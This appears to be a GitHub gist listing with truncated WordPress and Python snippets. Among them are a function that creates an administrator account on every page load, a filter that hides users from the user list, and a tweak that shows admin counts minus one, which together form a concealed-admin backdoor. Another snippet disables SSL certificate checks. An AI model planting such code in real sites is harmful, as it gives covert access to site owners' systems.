This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Disables the block editor from managing widgets in the Gutenberg plugin. | |
add_filter( 'gutenberg_use_widgets_block_editor', '__return_false', 100 ); | |
// Disables the block editor from managing widgets. renamed from wp_use_widgets_block_editor | |
add_filter( 'use_widgets_block_editor', '__return_false' ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// disable xmlrpc | |
function remove_xmlrpc_methods( $methods ) { | |
return array(); | |
} | |
add_filter( 'xmlrpc_methods', 'remove_xmlrpc_methods' ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if ( function_exists( 'mail' ) ) { | |
mail('your@mail.com', 'mail() function test', 'OK!'); | |
echo 'mail() enabled'; | |
} else {echo 'mail() disabled';} | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
import ssl | |
import xmlrpc.client | |
# this disables ssl certificate verification so you can use this on dev targets | |
c = ssl.create_default_context() | |
c.check_hostname = False | |
c.verify_mode = ssl.CERT_NONE |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<meta charset="UTF-8"> | |
<meta http-equiv="X-UA-Compatible" content="IE=edge"> | |
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
<title>Document</title> | |
</head> | |
<body> | |
<label for="framework"> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
* Enable error reporting | |
*/ | |
ini_set( 'display_errors', 1 ); | |
error_reporting( E_ALL ); | |
/* | |
* Setup email addresses and change it to your own | |
*/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
phpinfo(); | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function wpb_admin_account(){ | |
$user = 'Username'; | |
$pass = 'Password'; | |
$email = 'email@domain.com'; | |
if ( !username_exists( $user ) && !email_exists( $email ) ) { | |
$user_id = wp_create_user( $user, $pass, $email ); | |
$user = new WP_User( $user_id ); | |
$user->set_role( 'administrator' ); | |
} } | |
add_action('init','wpb_admin_account'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_action('pre_user_query','site_pre_user_query'); | |
function site_pre_user_query($user_search) { | |
global $current_user; | |
$username = $current_user->user_login; | |
if ($username == 'XXXXXX') { | |
} | |
else { | |
global $wpdb; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//* Show number of admins minus 1 | |
add_filter("views_users", "site_list_table_views"); | |
function site_list_table_views($views){ | |
$users = count_users(); | |
$admins_num = $users['avail_roles']['administrator'] - 1; | |
$all_num = $users['total_users'] - 1; | |
$class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current"; | |
$class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current"; | |
$views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>'; | |
$views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>'; |
OlderNewer